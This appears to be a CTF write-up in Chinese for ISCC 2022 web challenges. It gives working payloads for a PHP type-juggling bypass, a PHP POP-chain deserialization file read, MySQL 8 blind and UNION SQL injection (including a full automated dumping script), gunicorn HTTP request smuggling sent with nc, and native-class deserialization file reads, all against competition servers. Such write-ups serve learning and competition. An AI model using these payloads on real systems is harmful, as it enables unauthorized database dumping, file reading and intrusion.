ISCC(1)

287 阅读2分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

冬奥会

<?php
show_source(__FILE__);
$Step1=False;
$Step2=False;
$info=(array)json_decode(@$_GET['Information']);
if(is_array($info)){
    var_dump($info);
    is_numeric(@$info["year"])?die("Sorry~"):NULL;
    if(@$info["year"]){
        ($info["year"]=2022)?$Step1=True:NULL;
    }
    if(is_array(@$info["items"])){
        if(!is_array($info["items"][1])OR count($info["items"])!==3 ) die("Sorry~");
        $status = array_search("skiing", $info["items"]);
        $status===false?die("Sorry~"):NULL;
        foreach($info["items"] as $key=>$val){
            $val==="skiing"?die("Sorry~"):NULL;
        }
        $Step2=True;
    }
}
if($Step1 && $Step2){
    include "2022flag.php";echo $flag;
}
?> array(0) { } 

简单的一个代码审计

传入的是json格式的,先是绕过is_numeric ,很简单year必须数字且等于2022,在其后面加字符来绕过,之后传入数组item,其数量必须大于3,且数组元素要有skiing 且不能有skiing ,我们可以用[]来绕过

构造payload

{%22year%22:%222022aaa%22,%22items%22:[1,[1],0]}

Pop2022

差不多原题,考察pop链构造

append函数使用了include(),会出现文件包含漏洞。

根据以上题目,当用get方法传一个pop参数后,会自动调用Show类的_wakeup()魔术方法。

_wakeup()通过preg_match()将this>source做字符串比较,如果this->source做字符串比较,如果this->source是Show类,就调用了__toString()方法;

如果__toString()其中str赋值为一个实例化的Test类,那么其类不含有source属性,所以会调用Test中的_get()方法。

如果_get()中的p赋值为Modifier类,那么相当于Modifier类被当作函数处理,所以会调用Modifier类中的_invoke()方法。

利用文件包含漏洞,使用_invoke()读取flag.php的内容

<?php
class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){       //
        return $this->string->page;
    }




}


class Try_Work_Hard{
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';


}


class Make_a_Change{
    public $effort;


}
$a=new Road_is_Long();
$a->page=new Road_is_Long();
$a->page->string =new Make_a_Change();
$a->page->string->effort=new Try_Work_Hard();
echo urlencode(serialize($a));
?>

Easy-SQL

考察mysql8特性注入,即select被过滤的时候的用法,开始找了个脚本盲注,最后一步死活注不出来

'''
@author qwzf
@desc 本脚本是用于mysql 8新特性的sql注入
@date 2021/02/18
'''
import requests
import string
url = 'http://59.110.159.206:7010/?id='
chars=string.ascii_letters+string.digits+"@{}_-?"
def current_db(url):
    print("利用mysql8新特性或普通布尔盲注:\n1.新特性(联合查询) 2.普通布尔盲注")
    print("请输入序号:",end='')
    num = int(input())
    if num == 1:
        payload = "1 union values row(1,database(),3)--+"  #联合查询爆当前数据库(可修改)
        urls = url + payload
        r = requests.get(url=urls)
        print(r.text)
    else:
        name=''
        payload = "1 and ascii(substr((database()),{0},1))={1}--+" #布尔盲注爆当前数据库(可修改)
        for i in range(1,40):
            char=''
            for j in chars:
                payloads = payload.format(i,ord(j))
                urls = url + payloads
                r = requests.get(url=urls)
                if "Dumb" in r.text:
                    name += j
                    print(name)
                    char = j
                    break
            if char == '':
                break
def str2hex(name):
    res = ''
    for i in name:
        res += hex(ord(i))
    res = '0x' + res.replace('0x','')
    return res
def dbs(url): #无列名盲注爆所有数据库(可修改)
    while True:
        print("请输入要爆第几个数据库,如:1,2等:",end='')
        x = int(input())-1
        num = str(x)
        if x < 0:
            break
        payload = "1 and ('def',{},'',4,5,6)>(table information_schema.schemata limit "+num+",1)--+"
        name = ''
        for i in range(1,20):
            hexchar = ''
            for char in range(32, 126):
                hexchar = str2hex(name + chr(char))
                payloads = payload.format(hexchar)
                #print(payloads)
                urls = url + payloads
                r = requests.get(url=urls)
                if 'Dumb' in r.text:
                    name += chr(char-1)
                    print(name)
                    break
def tables_n(url,database): #无列名盲注爆数据表开始行数(可修改)
    payload = "1 and ('def','"+database+"','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit {},1)--+"
    for i in range(0,10000):
        payloads = payload.format(i)
        urls = url + payloads
        r = requests.get(url=urls)
        if 'Dumb' in r.text:
            char = chr(ord(database[-1])+1)
            database = database[0:-1]+char
            payld = "1 and ('def','"+database+"','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit "+str(i)+",1)--+"
            urls = url + payld
            res = requests.get(url=urls)
            #print(i)
            if 'Dumb' not in res.text:
                print('从第',i,'行开始爆数据表')   #判断开始行数
                n = i
                break
    return n
def tables(url,database,n):  #无列名盲注爆数据表(可修改)
    while True:
        print("请输入要爆第几个数据表,如:1,2等:",end='')
        x = int(input())-1
        num = str(x + n)
        if x < 0:
            break
        payload = "1 and ('def','"+database+"',{},'',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)>(table information_schema.tables limit "+num+",1)--+"
        name = ''
        for i in range(1,20):
            hexchar = ''
            for char in range(32, 126):
                hexchar = str2hex(name + chr(char))
                payloads = payload.format(hexchar)
                #print(payloads)
                urls = url + payloads
                r = requests.get(url=urls)
                if 'Dumb' in r.text:
                    name += chr(char-1)
                    print(name)
                    break
def columns_n(url,database,table): #无列名盲注爆字段开始行数(可修改)
    payload = "1 and ('def','"+database+"','"+table+"','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table information_schema.columns limit {},1)--+"
    for i in range(300,3000):
        payloads = payload.format(i)
        urls = url + payloads
        r = requests.get(url=urls)
        if 'Dumb' in r.text:
            char = chr(ord(table[-1])+1)
            table = table[0:-1]+char
            payld = "1 and ('def','"+database+"','"+table+"','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table information_schema.columns limit "+str(i)+",1)--+"
            urls = url + payld
            res = requests.get(url=urls)
            #print(i)
            if 'Dumb' not in res.text:
                print('从第',i,'行开始爆字段')   #判断开始行数
                n = i
                break
    return n
def columns(url,database,table,n):  #无列名盲注爆字段值(可修改)
    while True:
        print("请输入要爆第几个字段,如:1,2等:",end='')
        x = int(input())-1
        num = str(x + n)
        if x < 0:
            break
        payload = "1 and ('def','"+database+"','"+table+"',{},'',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)>(table information_schema.columns limit "+num+",1)--+"
        name = ''
        for i in range(1,20):
            hexchar = ''
            for char in range(32, 126):
                hexchar = str2hex(name + chr(char))
                payloads = payload.format(hexchar)
                #print(payloads)
                urls = url + payloads
                r = requests.get(url=urls)
                if 'Dumb' in r.text:
                    name += chr(char-1)
                    print(name)
                    break
def datas(url,table):  #无列名盲注爆数据(可修改)
    while True:
        print("请输入要爆第几个数据,如:1,2等:",end='')
        x = int(input())
        y = x-1
        num = str(y)
        if y < 0:
            break
        payload = "1 and ("+str(x)+",{},'')>(table "+table+" limit "+num+",1)--+"
        name = ''
        for i in range(1,60):
            hexchar = ''
            for char in range(32,126):
                hexchar = str2hex(name + chr(char))
                payloads = payload.format(hexchar)
                #print(payloads)
                urls = url + payloads
                r = requests.get(url=urls)
                if 'Dumb' in r.text:
                    name += chr(char-1)
                    print(name)
                    break
if __name__ == "__main__":
    while True:
        print("请输入要操作的内容:\n1.爆当前数据库\n2.爆数据表开始行号\n3.爆数据表\n4.爆字段值开始行号\n5.爆字段值\n6.爆数据\n7.爆所有数据库")
        types = int(input())
        if types == 1:
            current_db(url)
        elif types == 2 or types == 3:
            print("请输入已经得到的数据库名:",end='')
            database = input()
            if types == 2:
                tables_n(url,database)
            elif types == 3:
                print("爆数据表开始行号:",end='')
                n = int(input())
                tables(url,database,n)
        elif types == 4 or types == 5:
            print("请输入已经得到的数据库名:",end='')
            database = input()
            print("请输入已经得到的数据表名:",end='')
            table = input()
            if types == 4:
                columns_n(url,database,table)
            elif types == 5:
                print("爆字段值开始行号:",end='')
                n = int(input())
                columns(url,database,table,n)
        elif types == 6:
            print("请输入要查询的数据表名:",end='')
            table = input()
            datas(url,table)
        else:1
        dbs(url)

之后则是想太复杂了,直接一个简单语句就可以注出来第八个邮箱

?id=-1 union table emails limit 7,1

ypHeMPardErE.zip@beaxia.cn

下载index.php

?php
include "./config.php";
// error_reporting(0);
// highlight_file(__FILE__);
$conn = mysqli_connect($hostname, $username, $password, $database);
   if ($conn->connect_errno) {
    die("Connection failed: " . $conn->connect_errno);
} 


echo "Where is the database?"."<br>";


echo "try ?id";


function sqlWaf($s)
{
    $filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|^|||\ |'/i';
    if (preg_match($filter,$s))
        return False;
    return True;
}


if (isset($_GET['id'])) 
{
    $id = $_GET['id'];
    $sql = "select * from users where id=$id";
    $safe = preg_match('/select/is', $id);
    if($safe!==0)
        die("No select!");
    $result = mysqli_query($conn, $sql);
    if ($result) 
    {
        $row = mysqli_fetch_array($result);
        echo "<h3>" . $row['username'] . "</h3><br>";
        echo "<h3>" . $row['passwd'] . "</h3>";
    }
    else
        die('<br>Error!');
}


if (isset($_POST['username']) && isset($_POST['passwd'])) 
{


    $username = strval($_POST['username']);
    $passwd = strval($_POST['passwd']);


    if ( !sqlWaf($passwd) )
        die('damn hacker');


    $sql = "SELECT * FROM users WHERE username='${username}' AND passwd= '${passwd}'";
    $result = $conn->query($sql);
    if ($result->num_rows > 0) {
        $row = $result->fetch_assoc();
        if ( $row['username'] === 'admin' && $row['passwd'] )
        {
            if ($row['passwd'] == $passwd)
            {
                die($flag);
            } else {
                die("username or passwd wrong, are you admin?");
            }
        } else {
            die("wrong user");
        }
    } else {
        die("user not exist or wrong passwd");
    }
}
mysqli_close($conn); 
?>

username、passwd满足row['username'] === 'admin' && row['passwd']和row[passwd]==row['passwd'] == passwd

绕过payload

username=-1' union values row("1","admin","1")%23&passwd=1

让我康康!

直接访问显示waf,如果用nc监听发包的话,会得到返回服务器gunicorn

百度搜索

gunicorn 20.0.4 请求走私漏洞简析

构造http请求走私,简单来说就是逃逸请求,只是构造需要注意content-length的标准度

payload

echo -en "GET / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 90\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /fl4g HTTP/1.1\r\nHost: localhost\r\nsecr3t_ip:127.0.0.1\r\nContent-Length: 55\r\n\r\nGET / HTTP/1.1\r\nHost: 127.0.0.1:80\r\n\r\n" | nc 59.110.159.206 7020

findme

一眼原生类利用,un2有两条路可走,先用伪协议读HINT,发现提示flag在当前目录下f开头的txt

直接利用原生类读取

<?php


class a{
    public $un0='GlobIterator';
    public $un1="glob://f*.txt";
    public $un2;
    public $un3='unserialize';
    public $un4;


}


$a=new a();
echo serialize($a);

找到flag文件名,继续用原生类读取flag

<?php


class a{
    public $un0='SplFileObject';
    public $un1="flllHL91244ggg-SecR1et.txt";
    public $un2;
    public $un3='unserialize';
    public $un4;


}


$a=new a();
echo serialize($a);